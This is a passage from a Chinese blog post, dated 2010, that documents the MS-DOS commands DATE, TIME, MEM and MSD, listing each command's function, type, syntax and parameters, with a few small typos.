    (1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    (四) TIME系统时钟设置命令
    1功能:设置或显示系统时期。
    2类型:内部命令
    3格式:TIME[hh:mm:ss:xx]
    4使用说明:
    (1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式;
    (2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。
    (五)MEM查看当前内存状况命令
    1功能:显示当前内存使用的情况
    2类型:外部命令
    3格式:MEM[/C][/F][/M][/P]
    4使用说明:
    (1)选用/C参数列出装入常规内存和CMB的各文件的长度,同时也显示内存空间的使用状况和最大的可用空间;
    (2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小;  
    (3)选用/M参数显示该模块使用内存地地址、大小及模块性质;
    (4)选用/P参数指定当输出超过一屏时,暂停供用户查看。
    (六) MSD显示系统信息命令
    1功能:显示系统的硬件和操作系统的状况。
    2类型:外部命令
    3格式:MSD[/I][/B][/S]
    4使用说明:
    (1)选用/I参数时,不检测硬件;
    (2)选用/B参数时,以黑白方式启动MSD;

    (3)选用/S参数时,显示出简明的系统报告。 


posted @ 2010-06-22 10:39  Colin_Ye  阅读(795)  评论(0编辑  收藏  举报